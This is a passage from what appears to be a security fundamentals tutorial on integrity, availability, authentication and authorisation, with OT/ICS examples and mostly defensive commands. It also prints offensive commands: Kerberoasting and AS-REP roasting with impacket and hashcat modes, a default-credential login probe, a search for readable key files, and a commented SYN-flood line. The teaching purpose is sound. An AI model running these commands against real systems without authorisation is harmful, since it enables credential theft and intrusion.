&lt;p&gt;&lt;strong&gt;Definition:&lt;/strong&gt; Ensuring that information is accurate, complete, and has not been modified by unauthorised parties.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First principles:&lt;/strong&gt; Information only has value if it is trustworthy. If a financial record, a software update, a medical record, or a sensor reading can be silently modified by an attacker, every decision based on that information may be wrong. Integrity ensures that data is what it claims to be.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Two types of integrity:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Data Integrity:
  The content of information has not been modified
  Example: a log entry has not been altered after the fact

System Integrity:
  The system behaves as designed
  Example: the operating system hasn't been modified by malware

Both are required — compromising either defeats the purpose of the other
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Mechanisms:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cryptographic hashes (SHA-256, SHA-3) — detect any modification&lt;/li&gt;
&lt;li&gt;Digital signatures — verify origin and integrity together&lt;/li&gt;
&lt;li&gt;MACs (Message Authentication Codes) — integrity + authentication&lt;/li&gt;
&lt;li&gt;Checksums — detect accidental modification (not malicious)&lt;/li&gt;
&lt;li&gt;Write-once storage (immutable logs, WORM)&lt;/li&gt;
&lt;li&gt;Version control systems (detect unauthorised changes)&lt;/li&gt;
&lt;li&gt;File integrity monitoring (Tripwire, AIDE, Windows FIM)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;How integrity is attacked:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SolarWinds SUNBURST (2020):
  Target: Software supply chain integrity
  Method: Modify legitimate software before distribution
  How: Compromise build server, inject malicious code into DLL
  Result: Signed, legitimate-looking update contained backdoor
  Impact: 18,000 organisations infected

NotPetya (2017):
  Target: Software supply chain integrity (MeDoc accounting software)
  Method: Hijack auto-update mechanism
  How: Compromise update server for Ukrainian tax software
  Distribution: Sent malicious update to all MeDoc users in Ukraine
  Impact: $10 billion global damage, most destructive malware ever

Log tampering:
  Attacker modifies system logs after compromise to remove evidence
  Mitigation: Forward logs to remote, append-only syslog server immediately
  Forensic indicator: gaps in log sequence numbers, missing events

Database manipulation:
  Direct SQL UPDATE/DELETE on database records
  No trace unless query logging enabled
  Example: financial fraud via database record modification
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;OT/ICS Integrity — Most Critical Property:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In OT, integrity is arguably the most dangerous property to violate because the consequences are physical:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Stuxnet Integrity Attack (2010):
  Attack: Modified centrifuge control parameters while sending false
          "normal" readings to the operator HMI
  Result: Operators saw normal operation; centrifuges were destroying themselves
  Mechanism: Rootkit intercepted Siemens WinCC API calls
             Returned pre-recorded "normal" data to SCADA
             Sent actual destructive commands to PLCs

  This is the definitive integrity attack on OT:
  - Sensor data integrity: FALSE (operators see lies)
  - Control command integrity: COMPROMISED (PLCs receive attacker commands)
  - System integrity: COMPROMISED (rootkit hidden in SCADA)

Integrity in OT sensor data:
  A pressure sensor reading 150 PSI when actual pressure is 300 PSI = 
  operator makes decisions on false data = potential explosion

  Mitigations:
  - Cross-reference multiple independent sensors
  - Physical safety systems independent of digital controls
  - IEC 62443 security levels for control system integrity
  - Message authentication for control commands (IEC 62351)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Integrity verification tools:&lt;/span&gt;

&lt;span class="c"&gt;# File integrity checking:&lt;/span&gt;
&lt;span class="nb"&gt;sha256sum&lt;/span&gt; /bin/ls                         &lt;span class="c"&gt;# Calculate hash&lt;/span&gt;
&lt;span class="nb"&gt;sha256sum&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; checksums.txt               &lt;span class="c"&gt;# Verify against saved hashes&lt;/span&gt;

&lt;span class="c"&gt;# AIDE (Advanced Intrusion Detection Environment):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;aide &lt;span class="nt"&gt;--init&lt;/span&gt;                          &lt;span class="c"&gt;# Create baseline database&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;aide &lt;span class="nt"&gt;--check&lt;/span&gt;                         &lt;span class="c"&gt;# Compare current state to baseline&lt;/span&gt;
&lt;span class="c"&gt;# Reports: added, removed, changed files&lt;/span&gt;

&lt;span class="c"&gt;# Tripwire (enterprise FIM):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tripwire &lt;span class="nt"&gt;--init&lt;/span&gt;                      &lt;span class="c"&gt;# Initialise database&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tripwire &lt;span class="nt"&gt;--check&lt;/span&gt;                     &lt;span class="c"&gt;# Check integrity&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tripwire &lt;span class="nt"&gt;--update&lt;/span&gt;                    &lt;span class="c"&gt;# Update after approved changes&lt;/span&gt;

&lt;span class="c"&gt;# Verify package integrity (Linux):&lt;/span&gt;
rpm &lt;span class="nt"&gt;-V&lt;/span&gt; package_name                       &lt;span class="c"&gt;# RPM: verify installed package&lt;/span&gt;
dpkg &lt;span class="nt"&gt;-V&lt;/span&gt; package_name                      &lt;span class="c"&gt;# Debian: verify package&lt;/span&gt;
&lt;span class="c"&gt;# Output: 5 = checksum failure (file modified)&lt;/span&gt;

&lt;span class="c"&gt;# Verify digital signatures:&lt;/span&gt;
gpg &lt;span class="nt"&gt;--verify&lt;/span&gt; file.sig file               &lt;span class="c"&gt;# Verify GPG signature&lt;/span&gt;
openssl dgst &lt;span class="nt"&gt;-sha256&lt;/span&gt; &lt;span class="nt"&gt;-verify&lt;/span&gt; key.pub &lt;span class="nt"&gt;-signature&lt;/span&gt; sig.bin file  &lt;span class="c"&gt;# Verify OpenSSL sig&lt;/span&gt;

&lt;span class="c"&gt;# Check Windows system file integrity:&lt;/span&gt;
sfc /scannow                              &lt;span class="c"&gt;# System File Checker&lt;/span&gt;
&lt;span class="c"&gt;# Detects and repairs modified system files&lt;/span&gt;

&lt;span class="c"&gt;# Log integrity monitoring:&lt;/span&gt;
&lt;span class="c"&gt;# Forward logs to remote syslog IMMEDIATELY (before attacker can tamper):&lt;/span&gt;
&lt;span class="c"&gt;# /etc/rsyslog.conf:&lt;/span&gt;
&lt;span class="c"&gt;# *.* @@syslog-server:514              # @@ = TCP (reliable, ordered)&lt;/span&gt;
&lt;span class="c"&gt;# *.* @syslog-server:514               # @ = UDP (fire and forget)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.4 Availability
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Definition:&lt;/strong&gt; Ensuring that authorised users can access information and systems when needed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First principles:&lt;/strong&gt; A system that works perfectly but is inaccessible provides zero value. Availability controls ensure that systems remain operational and accessible under adversarial conditions (DDoS, ransomware, hardware failure) and non-adversarial conditions (power outage, software bugs, natural disasters).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mechanisms:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Redundancy (no single point of failure)&lt;/li&gt;
&lt;li&gt;Load balancing (distribute load across multiple systems)&lt;/li&gt;
&lt;li&gt;Backups (restore capability after failure)&lt;/li&gt;
&lt;li&gt;Disaster Recovery (DR) and Business Continuity Planning (BCP)&lt;/li&gt;
&lt;li&gt;Rate limiting (prevent resource exhaustion)&lt;/li&gt;
&lt;li&gt;DDoS mitigation&lt;/li&gt;
&lt;li&gt;Patch management (prevent exploit-based outages)&lt;/li&gt;
&lt;li&gt;Monitoring and alerting&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Availability metrics:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Uptime measurement:
  99%     = 87.6 hours downtime/year     ("two nines")
  99.9%   = 8.76 hours downtime/year    ("three nines")
  99.99%  = 52.6 minutes downtime/year  ("four nines")
  99.999% = 5.26 minutes downtime/year  ("five nines")

RTO (Recovery Time Objective): How fast must systems be restored?
RPO (Recovery Point Objective): How much data loss is acceptable?

Example: RPO = 1 hour means: backups must run at least hourly
Example: RTO = 4 hours means: systems must be restored within 4 hours
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;How availability is attacked:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DDoS (Distributed Denial of Service) — overwhelm with traffic&lt;/li&gt;
&lt;li&gt;Ransomware — encrypt data/systems, demand payment to restore&lt;/li&gt;
&lt;li&gt;Physical destruction — sabotage of hardware&lt;/li&gt;
&lt;li&gt;Resource exhaustion — fill disk, exhaust memory, TCP state table attacks&lt;/li&gt;
&lt;li&gt;Logic bombs — scheduled code to crash systems&lt;/li&gt;
&lt;li&gt;Supply chain attacks on dependencies&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;OT/ICS Availability — The Primary Concern:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OT Availability Priority:

In enterprise IT: CIA (Confidentiality first)
In OT/ICS: AIC (Availability first)

Why availability dominates in OT:
  A manufacturing PLC going offline = production stop = $X/minute losses
  A water treatment SCADA going offline = inability to control water quality
  A power grid SCADA going offline = potential for blackout
  An oil refinery control system going offline = unsafe process conditions

"Fail safe" vs "Fail operational":
  Enterprise IT failure: systems go down, users can't work (bad but manageable)
  OT failure: physical process continues without control (potentially dangerous)

  Safety Instrumented Systems (SIS) are designed to "fail safe":
  If SIS loses communication, it takes the process to a safe state automatically

  But: making OT highly available often means avoiding patches (restart risk),
  avoiding changes (configuration risk), avoiding monitoring (performance risk)
  → This is why OT systems are often most vulnerable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Availability monitoring and testing:&lt;/span&gt;

&lt;span class="c"&gt;# Check system uptime:&lt;/span&gt;
&lt;span class="nb"&gt;uptime&lt;/span&gt;                              &lt;span class="c"&gt;# Linux&lt;/span&gt;
systeminfo | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"System Boot"&lt;/span&gt;     &lt;span class="c"&gt;# Windows&lt;/span&gt;

&lt;span class="c"&gt;# Monitor service availability:&lt;/span&gt;
&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 &lt;span class="nt"&gt;-W&lt;/span&gt; 2 192.168.1.100 &amp;amp;&amp;gt;/dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;: HOST DOWN: 192.168.1.100"&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /var/log/availability.log
    &lt;span class="k"&gt;fi
    &lt;/span&gt;&lt;span class="nb"&gt;sleep &lt;/span&gt;30
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# Check disk space (availability killer if full):&lt;/span&gt;
&lt;span class="nb"&gt;df&lt;/span&gt; &lt;span class="nt"&gt;-h&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'$5 &amp;gt; 80 {print "WARNING: "$1" is "$5" full"}'&lt;/span&gt;

&lt;span class="c"&gt;# Backup verification:&lt;/span&gt;
&lt;span class="nb"&gt;sha256sum &lt;/span&gt;backup.tar.gz             &lt;span class="c"&gt;# Hash before storage&lt;/span&gt;
&lt;span class="nb"&gt;sha256sum &lt;/span&gt;backup_restored.tar.gz    &lt;span class="c"&gt;# Hash after restoration — must match&lt;/span&gt;

&lt;span class="c"&gt;# DDoS simulation (own infrastructure only):&lt;/span&gt;
&lt;span class="c"&gt;# hping3 --flood -S -p 80 target   # SYN flood&lt;/span&gt;
&lt;span class="c"&gt;# Only run on your own test infrastructure&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; The CIA Triad tells you what you are protecting, not how. Every security control maps to at least one pillar — and the most damaging attacks often compromise multiple pillars simultaneously. Before designing any security control, always ask: which CIA property does this protect, and what is the most likely attack against it? The answer determines the correct tool.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  3. Authentication — Proving Identity
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 What Authentication Is
&lt;/h3&gt;

&lt;p&gt;Authentication answers the question: &lt;strong&gt;"Are you who you claim to be?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It is the process of verifying that an entity (person, system, application) is who or what it claims to be. Authentication precedes authorisation — you must know WHO someone is before you can determine what they are ALLOWED to do.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Authentication vs Identification vs Authorisation:

Identification:  "I am John Smith"       (claim — anyone can make this)
Authentication: "I can prove I am John"  (verification — requires proof)
Authorisation:  "John may access X"      (permission — granted after auth)

In systems:
  Username = identification  (I claim to be 'jsmith')
  Password = authentication  (I can prove it)
  ACL check = authorisation  (jsmith is allowed to read /etc/passwd)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.2 Authentication Factors
&lt;/h3&gt;

&lt;p&gt;Authentication factors are categories of proof. Using multiple factors increases security exponentially because an attacker must compromise multiple independent mechanisms.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Factor 1 — Something You KNOW:
  Passwords, PINs, security questions, passphrases
  Weaknesses: forgotten, guessed, stolen via phishing, cracked offline,
              reused across sites, exposed in data breaches

Factor 2 — Something You HAVE:
  Hardware tokens (YubiKey, RSA SecurID), smart cards, mobile phones
  (TOTP codes via Authenticator apps), certificates on specific devices
  Weaknesses: lost or stolen device, SIM swapping (for SMS-based)

Factor 3 — Something You ARE:
  Biometrics: fingerprint, face recognition, iris scan, voice print, typing patterns
  Weaknesses: cannot be changed if compromised, spoofing possible,
              privacy implications, accuracy varies

Factor 4 — Somewhere You ARE:
  Geolocation, IP address, network location
  Weaknesses: VPN/proxy bypass, GPS spoofing, imprecise geofencing
  Use: usually a supplemental factor, not primary

Factor 5 — Something You DO:
  Behavioural biometrics: typing rhythm, mouse movement patterns, gait analysis
  Weaknesses: can be affected by injury, illness, stress; training period needed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Multi-Factor Authentication (MFA):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MFA = using two or more factors from DIFFERENT categories

Common MFA implementations:
  Password + TOTP code (Factor 1 + Factor 2)
  Smart card + PIN (Factor 2 + Factor 1)
  Password + hardware key + fingerprint (F1 + F2 + F3)

NOT real MFA:
  Password + security question (both Factor 1)
  Two passwords (both Factor 1)
  Password + email code (Factor 1 + quasi-Factor 2 — email is often Factor 1 protected)

MFA Bypass Attacks:
  SIM swapping: convince carrier to transfer phone number to attacker's SIM
  OTP phishing: real-time phishing captures OTP before it expires
  MFA fatigue: send repeated MFA push notifications until user accepts

MFA Fatigue Attack (Uber, 2022):
  Attacker obtained credentials from dark web
  Spammed Uber employee's phone with MFA push notifications
  Employee eventually approved to stop the spam
  Attacker gained access → full Uber internal network compromise

  Defence: number matching MFA (display code in app that must match screen)
           Phishing-resistant MFA: FIDO2/WebAuthn hardware keys
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.3 Authentication Protocols
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Kerberos (Windows Active Directory):

  Design: Avoid transmitting passwords over network
  Method: Ticket-based authentication system

  Flow:
  Client → AS (Authentication Service): "I am user X" + encrypted timestamp
  AS → Client: TGT (Ticket Granting Ticket) encrypted with AS key
  Client → TGS (Ticket Granting Service): TGT + "I want service Y"
  TGS → Client: Service Ticket for Y, encrypted with service Y's key
  Client → Service Y: Service Ticket
  Service Y: Decrypts ticket, grants access

  Security implications:
  - Password never transmitted in cleartext
  - Tickets are time-limited (default: 10 hours)
  - Kerberoasting: request service tickets for accounts with SPNs,
    crack offline (ticket encrypted with service account's password)
  - Pass-the-ticket: steal TGT from memory, use to authenticate as victim
  - Golden Ticket: forge TGT using krbtgt hash (Domain Admin → persistent access)

  Tools:
    Rubeus: Kerberos attack toolkit (Kerberoasting, AS-REP Roasting, ticket extraction)
    Mimikatz: Extract Kerberos tickets from Windows memory
    Impacket GetUserSPNs: Kerberoasting from Linux

NTLM (NT LAN Manager):
  Challenge-response authentication
  Server sends 8-byte challenge
  Client responds with HMAC of NT hash
  Vulnerability: relay attacks, offline cracking

  Responder + ntlmrelayx: capture NTLM hashes, relay to other services
  Hashcat -m 5600: crack NTLMv2 hashes

OAuth 2.0 / OIDC:
  Token-based delegation
  "Login with Google" = Google authenticates, provides token to app
  Access token: what you can do
  Refresh token: get new access tokens without re-authenticating
  ID token: who you are (OIDC extension to OAuth)

SAML (Security Assertion Markup Language):
  Enterprise SSO (Single Sign-On)
  XML-based assertions from Identity Provider to Service Provider
  Attack: SAML response manipulation if not properly signed and verified
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Authentication testing and monitoring:&lt;/span&gt;

&lt;span class="c"&gt;# Check password hash algorithm in /etc/shadow:&lt;/span&gt;
&lt;span class="nb"&gt;sudo cat&lt;/span&gt; /etc/shadow | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-3&lt;/span&gt;
&lt;span class="c"&gt;# $6$ = SHA-512 (good)&lt;/span&gt;
&lt;span class="c"&gt;# $5$ = SHA-256 (acceptable)&lt;/span&gt;
&lt;span class="c"&gt;# $1$ = MD5 (insecure — must change)&lt;/span&gt;
&lt;span class="c"&gt;# $y$ = yescrypt (modern, excellent)&lt;/span&gt;
&lt;span class="c"&gt;# DES (no prefix) = extremely insecure&lt;/span&gt;

&lt;span class="c"&gt;# Enumerate Kerberoastable accounts:&lt;/span&gt;
&lt;span class="c"&gt;# (requires domain credentials)&lt;/span&gt;
impacket-GetUserSPNs &lt;span class="nt"&gt;-dc-ip&lt;/span&gt; 192.168.1.10 DOMAIN/user:password &lt;span class="nt"&gt;-request&lt;/span&gt;
&lt;span class="c"&gt;# Outputs: TGS tickets for service accounts → crack with hashcat -m 13100&lt;/span&gt;

&lt;span class="c"&gt;# AS-REP Roasting (accounts with "don't require preauth"):&lt;/span&gt;
impacket-GetNPUsers DOMAIN/ &lt;span class="nt"&gt;-usersfile&lt;/span&gt; users.txt &lt;span class="nt"&gt;-dc-ip&lt;/span&gt; 192.168.1.10 &lt;span class="nt"&gt;-no-pass&lt;/span&gt;
&lt;span class="c"&gt;# Outputs: AS-REP hashes → crack with hashcat -m 18200&lt;/span&gt;

&lt;span class="c"&gt;# Check for weak authentication on web services:&lt;/span&gt;
&lt;span class="c"&gt;# Test default credentials:&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"%{http_code}"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://target/login &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"user":"admin","pass":"admin"}'&lt;/span&gt;
&lt;span class="c"&gt;# 200 with success indicator = default creds work&lt;/span&gt;

&lt;span class="c"&gt;# Check for MFA enforcement:&lt;/span&gt;
&lt;span class="c"&gt;# If login succeeds with just username/password (no second factor prompt): no MFA&lt;/span&gt;

&lt;span class="c"&gt;# Monitor authentication failures (Linux):&lt;/span&gt;
&lt;span class="nb"&gt;sudo grep&lt;/span&gt; &lt;span class="s2"&gt;"Failed password&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;Invalid user"&lt;/span&gt; /var/log/auth.log | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $(NF-3)}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-10&lt;/span&gt;
&lt;span class="c"&gt;# High count from single IP = brute force attempt&lt;/span&gt;

&lt;span class="c"&gt;# Windows authentication log:&lt;/span&gt;
&lt;span class="c"&gt;# Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4625} | Select-Object -First 10&lt;/span&gt;
&lt;span class="c"&gt;# Event 4625 = failed logon&lt;/span&gt;
&lt;span class="c"&gt;# Event 4624 = successful logon&lt;/span&gt;
&lt;span class="c"&gt;# Event 4648 = logon with explicit credentials (often malicious)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Authentication in OT/ICS:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OT Authentication Challenges:

1. Many field devices (PLCs, RTUs) have NO authentication:
   Modbus: no authentication — any device on the network can read/write
   DNP3 baseline: no authentication (SAv5 adds it but rarely deployed)
   PROFIBUS: no authentication
   → Anyone with network access = full control

2. Default credentials pervasive in OT:
   PLC web interfaces: admin/admin
   SCADA systems: factory default passwords rarely changed
   Industrial switches: default Telnet credentials

3. Legacy OT systems cannot support modern authentication:
   Old PLCs cannot run TLS or modern crypto
   Resources too constrained for authentication overhead

4. Shared credentials common:
   "The HMI password" known to all operators
   No individual accountability
   Cannot audit who made which change

5. Authentication vs real-time requirements:
   Latency introduced by authentication may be unacceptable for
   time-critical control operations

Defence:
  Network segmentation (compensate for device auth failure)
  Jump servers with strong auth for accessing OT
  OPC-UA with authentication for modern inter-device communication
  IEC 62351 for protocol-level authentication
  NERC CIP requires access management for BES Cyber Systems
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Authentication is the gateway to all other security controls — if authentication is bypassed or compromised, every authorisation control becomes meaningless. Phishing-resistant hardware MFA (FIDO2/WebAuthn) is the only authentication method provably resistant to the most common attacks (phishing, credential stuffing, real-time OTP replay). SMS and TOTP codes remain valuable but are not phishing-resistant.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  4. Authorization — Granting Permission
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 What Authorization Is
&lt;/h3&gt;

&lt;p&gt;Authorisation answers: &lt;strong&gt;"What are you allowed to do?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;After identity is verified (authentication), the system determines what resources and actions the authenticated entity is permitted to access or perform. Authorisation and authentication are distinct — one system knowing who you are does not mean it knows what you're allowed to do.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Authentication → Authorization → Access

Authentication verifies identity
Authorisation enforces policy
They can fail independently:

Broken Auth + Correct Authz:  Attacker impersonates user, gets user's permissions only
Correct Auth + Broken Authz:  Real user authenticated, but can access resources beyond permissions
Both broken:                  Complete compromise
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.2 Authorisation Models
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;DAC — Discretionary Access Control:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Owner of resource decides who can access it
Example: Linux file permissions (chmod)
  -rw-r--r-- file.txt
  Owner: read, write
  Group: read
  Others: read

Weakness: Owner can grant access to anyone
          "Discretionary" = no central oversight
          User error leads to data exposure (chmod 777)

Attack relevance: Find world-readable sensitive files
find / -perm -o+r -name "*.key" -o -name "*.conf" 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;MAC — Mandatory Access Control:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Central authority assigns labels &lt;span class="o"&gt;(&lt;/span&gt;classifications&lt;span class="o"&gt;)&lt;/span&gt; to subjects and objects
Access granted only when subject label permits object label
Subject cannot override — even &lt;span class="k"&gt;if &lt;/span&gt;they &lt;span class="s2"&gt;"own"&lt;/span&gt; the file

Examples:
  SELinux &lt;span class="o"&gt;(&lt;/span&gt;Security Enhanced Linux&lt;span class="o"&gt;)&lt;/span&gt;
  AppArmor
  Military classifications: Unclassified, Secret, Top Secret

Multi-Level Security &lt;span class="o"&gt;(&lt;/span&gt;MLS&lt;span class="o"&gt;)&lt;/span&gt; model &lt;span class="o"&gt;(&lt;/span&gt;Bell-LaPadula&lt;span class="o"&gt;)&lt;/span&gt;:
  No &lt;span class="nb"&gt;read &lt;/span&gt;up: Top Secret user can &lt;span class="nb"&gt;read &lt;/span&gt;Secret &lt;span class="o"&gt;(&lt;/span&gt;but not TS from Secret&lt;span class="o"&gt;)&lt;/span&gt;
  No write down: Top Secret user cannot write to Unclassified &lt;span class="o"&gt;(&lt;/span&gt;prevent leakage&lt;span class="o"&gt;)&lt;/span&gt;

Check SELinux status:
  getenforce               &lt;span class="c"&gt;# Enforcing / Permissive / Disabled&lt;/span&gt;
  sestatus                 &lt;span class="c"&gt;# Detailed SELinux status&lt;/span&gt;
  &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-Z&lt;/span&gt; /etc/shadow        &lt;span class="c"&gt;# See file's SELinux label&lt;/span&gt;
  ps &lt;span class="nt"&gt;-eZ&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;httpd      &lt;span class="c"&gt;# See process's SELinux context&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;RBAC — Role-Based Access Control:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Permissions assigned to roles, users assigned to roles
User inherits permissions of their role(s)

Example:
  Role: "Network Admin" = permission to view/change network config
  Role: "Read-Only Auditor" = permission to view logs, no changes
  User: jsmith = assigned role "Network Admin"

Benefits:
  Scalable (manage roles, not individual user permissions)
  Consistent (all users with same role have same access)
  Auditable (clear what each role can do)

Weakness:
  Role explosion: too many roles becomes unmanageable
  Role creep: users accumulate roles over time beyond what's needed

RBAC in Active Directory:
  Security groups = roles
  DACL (Discretionary ACL) on objects = permissions per group
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;ABAC — Attribute-Based Access Control:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Access decisions based on attributes of: user, resource, environment, action

Example policy:
  "Allow access to Document X IF:
    user.department == 'Finance'
    AND user.clearance &amp;gt;= document.classification
    AND time.current_hour BETWEEN 8 AND 18
    AND user.location == 'corporate_network'"

More flexible than RBAC — can express complex, context-aware policies
Used in: AWS IAM, Azure RBAC, modern zero trust systems
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;PBAC — Policy-Based Access Control (modern):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

